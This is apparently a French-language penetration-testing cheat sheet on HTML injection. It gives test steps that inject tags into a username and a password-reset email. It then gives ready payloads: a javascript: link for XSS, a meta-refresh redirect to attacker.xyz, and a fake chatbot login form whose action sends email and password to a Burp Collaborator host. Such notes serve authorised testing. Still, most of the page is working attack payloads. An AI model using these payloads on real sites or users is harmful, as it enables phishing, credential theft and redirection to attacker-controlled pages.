📄HTMLi

Basic

  • Créer un compte

  • Changer nom d'utilisateur en "abc><h1>attacker<h1>

  • Regarder si l'injection est reflété sur la page dans l'emplacement de votre nom d'utilisateur.

  • Faire une demande de mot de passe oublié et regarder si la balise <h1> a été exécutée dans le mail.

  • Si cela fonctionne, essayer d'envoyer un lien de redirection (<h1>attacker<h1><a href="https://attacker.com/">Clic here</a>)

HTML injection to XSS

<a href="javascript:alert(document.domain)">exemple.com</a>

HTML injection to Open Redirect

<meta http-equiv="refresh" content="5;URL=https://attacker.xyz/">

HTML injection to Account takeover

Exemple de fausse page de connexion dans un contexte de champs de commentaire ou on se fait passer pour un chatbot

<h1>Connectez vous pour commencer à chatter</h1>
<form action="https://yourburp.collab.com" method="post">
<label for="email">Adresse e-mail:</label>
<input name="email">
<label for="password">Mot de Passe:</label>
<input type="password" name="password">
<input type="submit" value="Connexion"></form><!--

Dernière mise à jour